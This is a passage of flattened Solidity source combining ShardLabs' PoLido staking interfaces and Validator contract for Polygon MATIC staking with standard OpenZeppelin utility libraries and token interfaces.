enable/disable restake. function setRestake(bool _restake) external; /// @notice Allows the DAO to set stMATIC contract. function setStMATIC(address _stMATIC) external; /// @notice Allows the DAO to set validator factory contract. function setValidatorFactory(address _validatorFactory) external; /// @notice Allows the DAO to set stake manager contract. function setStakeManager(address _stakeManager) external; /// @notice Allows to set contract version. function setVersion(string memory _version) external; /// @notice Get the stMATIC contract addresses function getContracts() external view returns ( address _validatorFactory, address _stakeManager, address _polygonERC20, address _stMATIC ); /// @notice Allows to get stats. function getState() external view returns ( uint256 _totalNodeOperator, uint256 _totalInactiveNodeOperator, uint256 _totalActiveNodeOperator, uint256 _totalStoppedNodeOperator, uint256 _totalUnstakedNodeOperator, uint256 _totalClaimedNodeOperator, uint256 _totalExitNodeOperator, uint256 _totalSlashedNodeOperator, uint256 _totalEjectedNodeOperator ); /// @notice Allows to get a list of operatorInfo. function getOperatorInfos(bool _delegation, bool _allActive) external view returns (Operator.OperatorInfo[] memory); /// @notice Allows to get all the operator ids. function getOperatorIds() external view returns (uint256[] memory); } // SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; import "../Validator.sol"; /// @title IValidatorFactory. /// @author 2021 ShardLabs interface IValidatorFactory { /// @notice Deploy a new validator proxy contract. /// @return return the address of the deployed contract. function create() external returns (address); /// @notice Remove a validator proxy from the validators. function remove(address _validatorProxy) external; /// @notice Set the node operator contract address. function setOperator(address _operator) external; /// @notice Set validator implementation contract address. function setValidatorImplementation(address _validatorImplementation) external; } // SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; import "../Validator.sol"; /// @title IValidator. /// @author 2021 ShardLabs /// @notice Validator interface. interface IValidator { /// @notice Allows to stake a validator on the Polygon stakeManager contract. /// @dev Stake a validator on the Polygon stakeManager contract. /// @param _sender msg.sender. /// @param _amount amount to stake. /// @param _heimdallFee herimdall fees. /// @param _acceptDelegation accept delegation. /// @param _signerPubkey signer public key used on the heimdall. /// @param _commisionRate commision rate of a validator function stake( address _sender, uint256 _amount, uint256 _heimdallFee, bool _acceptDelegation, bytes memory _signerPubkey, uint256 _commisionRate, address stakeManager, address polygonERC20 ) external returns (uint256, address); /// @notice Restake Matics for a validator on polygon stake manager. /// @param sender operator owner which approved tokens to the validato contract. /// @param validatorId validator id. /// @param amount amount to stake. /// @param stakeRewards restake rewards. /// @param stakeManager stake manager address /// @param polygonERC20 address of the MATIC token function restake( address sender, uint256 validatorId, uint256 amount, bool stakeRewards, address stakeManager, address polygonERC20 ) external; /// @notice Unstake a validator from the Polygon stakeManager contract. /// @dev Unstake a validator from the Polygon stakeManager contract by passing the validatorId /// @param _validatorId validatorId. /// @param _stakeManager address of the stake manager function unstake(uint256 _validatorId, address _stakeManager) external; /// @notice Allows to top up heimdall fees. /// @param _heimdallFee amount /// @param _sender msg.sender /// @param _stakeManager stake manager address /// @param _polygonERC20 address of the MATIC token function topUpForFee( address _sender, uint256 _heimdallFee, address _stakeManager, address _polygonERC20 ) external; /// @notice Allows to withdraw rewards from the validator. /// @dev Allows to withdraw rewards from the validator using the _validatorId. Only the /// owner can request withdraw in this the owner is this contract. /// @param _validatorId validator id. /// @param _rewardAddress user address used to transfer the staked tokens. /// @param _stakeManager stake manager address /// @param _polygonERC20 address of the MATIC token /// @return Returns the amount transfered to the user. function withdrawRewards( uint256 _validatorId, address _rewardAddress, address _stakeManager, address _polygonERC20 ) external returns (uint256); /// @notice Allows to claim staked tokens on the stake Manager after the end of the /// withdraw delay /// @param _validatorId validator id. /// @param _rewardAddress user address used to transfer the staked tokens. /// @return Returns the amount transfered to the user. function unstakeClaim( uint256 _validatorId, address _rewardAddress, address _stakeManager, address _polygonERC20 ) external returns (uint256); /// @notice Allows to update the signer pubkey /// @param _validatorId validator id /// @param _signerPubkey update signer public key /// @param _stakeManager stake manager address function updateSigner( uint256 _validatorId, bytes memory _signerPubkey, address _stakeManager ) external; /// @notice Allows to claim the heimdall fees. /// @param _accumFeeAmount accumulated fees amount /// @param _index index /// @param _proof proof /// @param _ownerRecipient owner recipient /// @param _stakeManager stake manager address /// @param _polygonERC20 address of the MATIC token function claimFee( uint256 _accumFeeAmount, uint256 _index, bytes memory _proof, address _ownerRecipient, address _stakeManager, address _polygonERC20 ) external; /// @notice Allows to update the commision rate of a validator /// @param _validatorId operator id /// @param _newCommissionRate commission rate /// @param _stakeManager stake manager address function updateCommissionRate( uint256 _validatorId, uint256 _newCommissionRate, address _stakeManager ) external; /// @notice Allows to unjail a validator. /// @param _validatorId operator id function unjail(uint256 _validatorId, address _stakeManager) external; /// @notice Allows to migrate the ownership to an other user. /// @param _validatorId operator id. /// @param _stakeManagerNFT stake manager nft contract. /// @param _rewardAddress reward address. function migrate( uint256 _validatorId, address _stakeManagerNFT, address _rewardAddress ) external; /// @notice Allows a validator that was already staked on the polygon stake manager /// to join the PoLido protocol. /// @param _validatorId validator id /// @param _stakeManagerNFT address of the staking NFT /// @param _rewardAddress address that will receive the rewards from staking /// @param _newCommissionRate commission rate /// @param _stakeManager address of the stake manager function join( uint256 _validatorId, address _stakeManagerNFT, address _rewardAddress, uint256 _newCommissionRate, address _stakeManager ) external; } // SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "./IValidatorShare.sol"; import "./INodeOperatorRegistry.sol"; import "./INodeOperatorRegistry.sol"; import "./IStakeManager.sol"; import "./IPoLidoNFT.sol"; import "./IFxStateRootTunnel.sol"; /// @title StMATIC interface. /// @author 2021 ShardLabs interface IStMATIC is IERC20Upgradeable { struct RequestWithdraw { uint256 amount2WithdrawFromStMATIC; uint256 validatorNonce; uint256 requestEpoch; address validatorAddress; } struct FeeDistribution { uint8 dao; uint8 operators; uint8 insurance; } function withdrawTotalDelegated(address _validatorShare) external; function nodeOperatorRegistry() external returns (INodeOperatorRegistry); function entityFees() external returns ( uint8, uint8, uint8 ); function getMaticFromTokenId(uint256 _tokenId) external view returns (uint256); function stakeManager() external view returns (IStakeManager); function poLidoNFT() external view returns (IPoLidoNFT); function fxStateRootTunnel() external view returns (IFxStateRootTunnel); function version() external view returns (string memory); function dao() external view returns (address); function insurance() external view returns (address); function token() external view returns (address); function lastWithdrawnValidatorId() external view returns (uint256); function totalBuffered() external view returns (uint256); function delegationLowerBound() external view returns (uint256); function rewardDistributionLowerBound() external view returns (uint256); function reservedFunds() external view returns (uint256); function submitThreshold() external view returns (uint256); function submitHandler() external view returns (bool); function getMinValidatorBalance() external view returns (uint256); function token2WithdrawRequest(uint256 _requestId) external view returns ( uint256, uint256, uint256, address ); function DAO() external view returns (bytes32); function initialize( address _nodeOperatorRegistry, address _token, address _dao, address _insurance, address _stakeManager, address _poLidoNFT, address _fxStateRootTunnel, uint256 _submitThreshold ) external; function submit(uint256 _amount) external returns (uint256); function requestWithdraw(uint256 _amount) external; function delegate() external; function claimTokens(uint256 _tokenId) external; function distributeRewards() external; function claimTokens2StMatic(uint256 _tokenId) external; function togglePause() external; function getTotalStake(IValidatorShare _validatorShare) external view returns (uint256, uint256); function getLiquidRewards(IValidatorShare _validatorShare) external view returns (uint256); function getTotalStakeAcrossAllValidators() external view returns (uint256); function getTotalPooledMatic() external view returns (uint256); function convertStMaticToMatic(uint256 _balance) external view returns ( uint256, uint256, uint256 ); function convertMaticToStMatic(uint256 _balance) external view returns ( uint256, uint256, uint256 ); function setFees( uint8 _daoFee, uint8 _operatorsFee, uint8 _insuranceFee ) external; function setDaoAddress(address _address) external; function setInsuranceAddress(address _address) external; function setNodeOperatorRegistryAddress(address _address) external; function setDelegationLowerBound(uint256 _delegationLowerBound) external; function setRewardDistributionLowerBound( uint256 _rewardDistributionLowerBound ) external; function setPoLidoNFT(address _poLidoNFT) external; function setFxStateRootTunnel(address _fxStateRootTunnel) external; function setSubmitThreshold(uint256 _submitThreshold) external; function flipSubmitHandler() external; function setVersion(string calldata _version) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { __Context_init_unchained(); } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal onlyInitializing { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal onlyInitializing { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; library Operator { struct OperatorInfo { uint256 operatorId; address validatorShare; uint256 maxDelegateLimit; address rewardAddress; } } // SPDX-FileCopyrightText: 2021 ShardLabs // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "./interfaces/IStakeManager.sol"; import "./interfaces/IValidator.sol"; import "./interfaces/INodeOperatorRegistry.sol"; /// @title ValidatorImplementation /// @author 2021 ShardLabs. /// @notice The validator contract is a simple implementation of the stakeManager API, the /// ValidatorProxies use this contract to interact with the stakeManager. /// When a ValidatorProxy calls this implementation the state is copied /// (owner, implementation, operatorRegistry), then they are used to check if the msg-sender is the /// node operator contract, and if the validatorProxy implementation match with the current /// validator contract. contract Validator is IERC721Receiver, IValidator { using SafeERC20 for IERC20; address private implementation; address private operatorRegistry; address private validatorFactory; /// @notice Check if the operator contract is the msg.sender. modifier isOperatorRegistry() { require( msg.sender == operatorRegistry, "Caller should be the operator contract" ); _; } /// @notice Allows to stake on the Polygon stakeManager contract by /// calling stakeFor function and set the user as the equal to this validator proxy /// address. /// @param _sender the address of the operator-owner that approved Matics. /// @param _amount the amount to stake with. /// @param _heimdallFee the heimdall fees. /// @param _acceptDelegation accept delegation. /// @param _signerPubkey signer public key used on the heimdall node. /// @param _commissionRate validator commision rate /// @return Returns the validatorId and the validatorShare contract address. function stake( address _sender, uint256 _amount, uint256 _heimdallFee, bool _acceptDelegation, bytes memory _signerPubkey, uint256 _commissionRate, address _stakeManager, address _polygonERC20 ) external override isOperatorRegistry returns (uint256, address) { IStakeManager stakeManager = IStakeManager(_stakeManager); IERC20 polygonERC20 = IERC20(_polygonERC20); uint256 totalAmount = _amount + _heimdallFee; polygonERC20.safeTransferFrom(_sender, address(this), totalAmount); polygonERC20.safeApprove(address(stakeManager), totalAmount); stakeManager.stakeFor( address(this), _amount, _heimdallFee, _acceptDelegation, _signerPubkey ); uint256 validatorId = stakeManager.getValidatorId(address(this)); address validatorShare = stakeManager.getValidatorContract(validatorId); if (_commissionRate > 0) { stakeManager.updateCommissionRate(validatorId, _commissionRate); } return (validatorId, validatorShare); } /// @notice Restake validator rewards or new Matics validator on stake manager. /// @param _sender operator's owner that approved tokens to the validator contract. /// @param _validatorId validator id. /// @param _amount amount to stake. /// @param _stakeRewards restake rewards. /// @param _stakeManager stake manager address /// @param _polygonERC20 address of the MATIC token function restake( address _sender, uint256 _validatorId, uint256 _amount, bool _stakeRewards, address _stakeManager, address _polygonERC20 ) external override isOperatorRegistry { if (_amount > 0) { IERC20 polygonERC20 = IERC20(_polygonERC20); polygonERC20.safeTransferFrom(_sender, address(this), _amount); polygonERC20.safeApprove(address(_stakeManager), _amount); } IStakeManager(_stakeManager).restake(_validatorId, _amount, _stakeRewards); } /// @notice Unstake a validator from the Polygon stakeManager contract. /// @param _validatorId validatorId. /// @param _stakeManager address of the stake manager function unstake(uint256 _validatorId, address _stakeManager) external override isOperatorRegistry { // stakeManager IStakeManager(_stakeManager).unstake(_validatorId); } /// @notice Allows a validator to top-up the heimdall fees. /// @param _sender address that approved the _heimdallFee amount. /// @param _heimdallFee amount. /// @param _stakeManager stake manager address /// @param _polygonERC20 address of the MATIC token function topUpForFee( address _sender, uint256 _heimdallFee, address _stakeManager, address _polygonERC20 ) external override isOperatorRegistry { IStakeManager stakeManager = IStakeManager(_stakeManager); IERC20 polygonERC20 = IERC20(_polygonERC20); polygonERC20.safeTransferFrom(_sender, address(this), _heimdallFee); polygonERC20.safeApprove(address(stakeManager), _heimdallFee); stakeManager.topUpForFee(address(this), _heimdallFee); } /// @notice Allows to withdraw rewards from the validator using the _validatorId. Only the /// owner can request withdraw. The rewards are transfered to the _rewardAddress. /// @param _validatorId validator id. /// @param _rewardAddress reward address. /// @param _stakeManager stake manager address /// @param _polygonERC20 address of the MATIC token function withdrawRewards( uint256 _validatorId, address _rewardAddress, address _stakeManager, address _polygonERC20 ) external override isOperatorRegistry returns (uint256) { IStakeManager(_stakeManager).withdrawRewards(_validatorId); IERC20 polygonERC20 = IERC20(_polygonERC20); uint256 balance = polygonERC20.balanceOf(address(this)); polygonERC20.safeTransfer(_rewardAddress, balance); return balance; } /// @notice Allows to unstake the staked tokens (+rewards) and transfer them /// to the owner rewardAddress. /// @param _validatorId validator id. /// @param _rewardAddress rewardAddress address. /// @param _stakeManager stake manager address /// @param _polygonERC20 address of the MATIC token function unstakeClaim( uint256 _validatorId, address _rewardAddress, address _stakeManager, address _polygonERC20 ) external override isOperatorRegistry returns (uint256) { IStakeManager stakeManager = IStakeManager(_stakeManager); stakeManager.unstakeClaim(_validatorId); // polygonERC20 // stakeManager IERC20 polygonERC20 = IERC20(_polygonERC20); uint256 balance = polygonERC20.balanceOf(address(this)); polygonERC20.safeTransfer(_rewardAddress, balance); return balance; } /// @notice Allows to update signer publickey. /// @param _validatorId validator id. /// @param _signerPubkey new publickey. /// @param _stakeManager stake manager address function updateSigner( uint256 _validatorId, bytes memory _signerPubkey, address _stakeManager ) external override isOperatorRegistry { IStakeManager(_stakeManager).updateSigner(_validatorId, _signerPubkey); } /// @notice Allows withdraw heimdall fees. /// @param _accumFeeAmount accumulated heimdall fees. /// @param _index index. /// @param _proof proof. function claimFee( uint256 _accumFeeAmount, uint256 _index, bytes memory _proof, address _rewardAddress, address _stakeManager, address _polygonERC20 ) external override isOperatorRegistry { IStakeManager stakeManager = IStakeManager(_stakeManager); stakeManager.claimFee(_accumFeeAmount, _index, _proof); IERC20 polygonERC20 = IERC20(_polygonERC20); uint256 balance = polygonERC20.balanceOf(address(this)); polygonERC20.safeTransfer(_rewardAddress, balance); } /// @notice Allows to update commission rate of a validator. /// @param _validatorId validator id. /// @param _newCommissionRate new commission rate. /// @param _stakeManager stake manager address function updateCommissionRate( uint256 _validatorId, uint256 _newCommissionRate, address _stakeManager ) public override isOperatorRegistry { IStakeManager(_stakeManager).updateCommissionRate( _validatorId, _newCommissionRate ); } /// @notice Allows to unjail a validator. /// @param _validatorId validator id function unjail(uint256 _validatorId, address _stakeManager) external override isOperatorRegistry { IStakeManager(_stakeManager).unjail(_validatorId); } /// @notice Allows to transfer the validator nft token to the reward address a validator. /// @param _validatorId operator id. /// @param _stakeManagerNFT stake manager nft contract. /// @param _rewardAddress reward address. function migrate( uint256 _validatorId, address _stakeManagerNFT, address _rewardAddress ) external override isOperatorRegistry { IERC721 erc721 = IERC721(_stakeManagerNFT); erc721.approve(_rewardAddress, _validatorId); erc721.safeTransferFrom(address(this), _rewardAddress, _validatorId); } /// @notice Allows a validator that was already staked on the polygon stake manager /// to join the PoLido protocol. /// @param _validatorId validator id /// @param _stakeManagerNFT address of the staking NFT /// @param _rewardAddress address that will receive the rewards from staking /// @param _newCommissionRate commission rate /// @param _stakeManager address of the stake manager function join( uint256 _validatorId, address _stakeManagerNFT, address _rewardAddress, uint256 _newCommissionRate, address _stakeManager ) external override isOperatorRegistry { IERC721 erc721 = IERC721(_stakeManagerNFT); erc721.safeTransferFrom(_rewardAddress, address(this), _validatorId); updateCommissionRate(_validatorId, _newCommissionRate, _stakeManager); } /// @notice Allows to get the version of the validator implementation. /// @return Returns the version. function version() external pure returns (string memory) { return "1.0.0"; } /// @notice Implement @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol interface. function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { return bytes4( keccak256("onERC721Received(address,address,uint256,bytes)") ); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when 